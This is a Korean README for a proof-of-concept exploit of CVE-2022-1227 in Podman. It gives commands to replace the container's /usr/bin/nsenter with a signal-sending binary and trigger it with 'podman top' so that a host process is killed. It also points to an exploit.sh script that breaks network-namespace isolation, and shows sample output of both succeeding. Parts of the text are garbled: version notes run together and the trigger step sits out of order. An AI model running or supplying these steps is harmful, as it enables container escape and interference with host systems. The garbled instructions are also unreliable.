
CVE-2022-1227 악용 스크립트
CVE-2022-1227을 익스플로잇하는 스크립트입니다.
20.10이 권장됩니다.4.0.0; 3.4.4가 권장됩니다.TODO: 이 취약점의 원리 추가하기
공식 문서의 지침을 따르세요: https://podman.io/getting-started/installation#installing-on-linux
Ubuntu 20.10의 경우 설치 명령어는 다음과 같아야 합니다:
sudo apt-get install podman=3.4.4+ds1-1ubuntu1
이 섹션에서는 PID 네임스페이스의 경계를 깨고 호스트의 프로세스를 kill하는 간단한 PoC를 시도합니다.
단계는 다음과 같습니다:
다음 명령어로 컨테이너를 실행합니다: podman run --userns=keep-id --rm -d ubuntu:latest sleep infinity
./exp/bin에서 keep을 실행하고 실행 중인 PID를 얻습니다. 일반적으로 터미널에 PID를 표시합니다. 바이너리가 600초 동안 sleep하도록 설정되어 있으므로 다음 단계를 빠르게 완료해야 할 수도 있습니다.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./exp/bin/keep
My process ID is: 7719
Put this number to `PID` in the sendsig.c and compile!
./exp/src/sendsig.c의 소스 코드를 편집하고 이전 단계에서 얻은 PID를 변수 pid에 입력합니다.
int pid = OLD_VAL;
로
int pid = 7719;
컴파일된 바이너리를 podman 내부에 넣습니다: podman cp ./exp/bin/sendsig $container_name :/usr/bin/nsenter
podman top을 실행하여 취약점을 트리거합니다:
이 섹션에서는 소켓을 사용하여 컨테이너 내의 클라이언트와 호스트의 서버 간의 프로세스 간 소켓 통신을 구현합니다. 이는 격리 메커니즘이 완전할 때 일반적으로 불가능합니다. 우리는 이 취약점을 사용하여 네트워크 네임스페이스의 격리를 돌파하여 이 익스플로잇을 실현합니다.
먼저 cd ./exp로 디렉터리에 들어갑니다;
./exploit.sh를 실행하기만 하면 모든 것이 자동으로 완료됩니다; 모든 것이 정상이면 서버에 다음과 같이 표시됩니다:
Hello from the container!
이는 네트워크 네임스페이스를 넘어 탈출했음을 의미합니다.
podman top -l모든 것이 정상적으로 진행되면 실행 중인 프로세스 keep이 즉시 종료됩니다. 이는 비정상적인 상황입니다. 일반적으로 PID 네임스페이스 격리로 인해 컨테이너 내부의 프로세스는 호스트의 프로세스에 시그널을 보낼 수 없기 때문입니다.
tems@tems-virtual-machine:~/Applications/CVE-2022-1227$ ./keep
My process ID is: 7719
Killed